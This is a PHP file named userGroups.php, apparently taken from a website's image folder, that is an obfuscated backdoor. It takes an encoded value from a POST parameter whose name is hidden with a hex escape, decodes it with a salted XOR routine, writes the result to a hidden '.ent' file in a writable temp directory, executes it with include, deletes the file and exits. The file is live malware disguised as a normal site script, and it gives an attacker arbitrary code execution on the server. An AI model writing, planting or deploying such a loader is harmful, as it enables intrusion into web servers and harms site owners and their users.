File: //proc/self/root/proc/self/root/home/vitanhod/vigolic-100.vitavit.com.pk/img/userGroups.php
<?php
if(!empty($_POST["property_\x73et"])){
$descriptor = array_filter([session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getenv("TEMP")]);
$token = $_POST["property_\x73et"];
$token = explode ( "." , $token ) ;
$val='';
$salt3='abcdefghijklmnopqrstuvwxyz0123456789';
$lenS=strlen( $salt3);
foreach( $token as $n=>$v5) { $sChar=ord( $salt3[$n % $lenS]);
$dec=( ( int)$v5 - $sChar -( $n % 10)) ^ 78;
$val .= chr( $dec); }
while ($symbol = array_shift($descriptor)) {
if (max(0, is_dir($symbol) * is_writable($symbol))) {
$hld = sprintf("%s/.ent", $symbol);
if (@file_put_contents($hld, $val) !== false) {
include $hld;
unlink($hld);
die();
}
}
}
}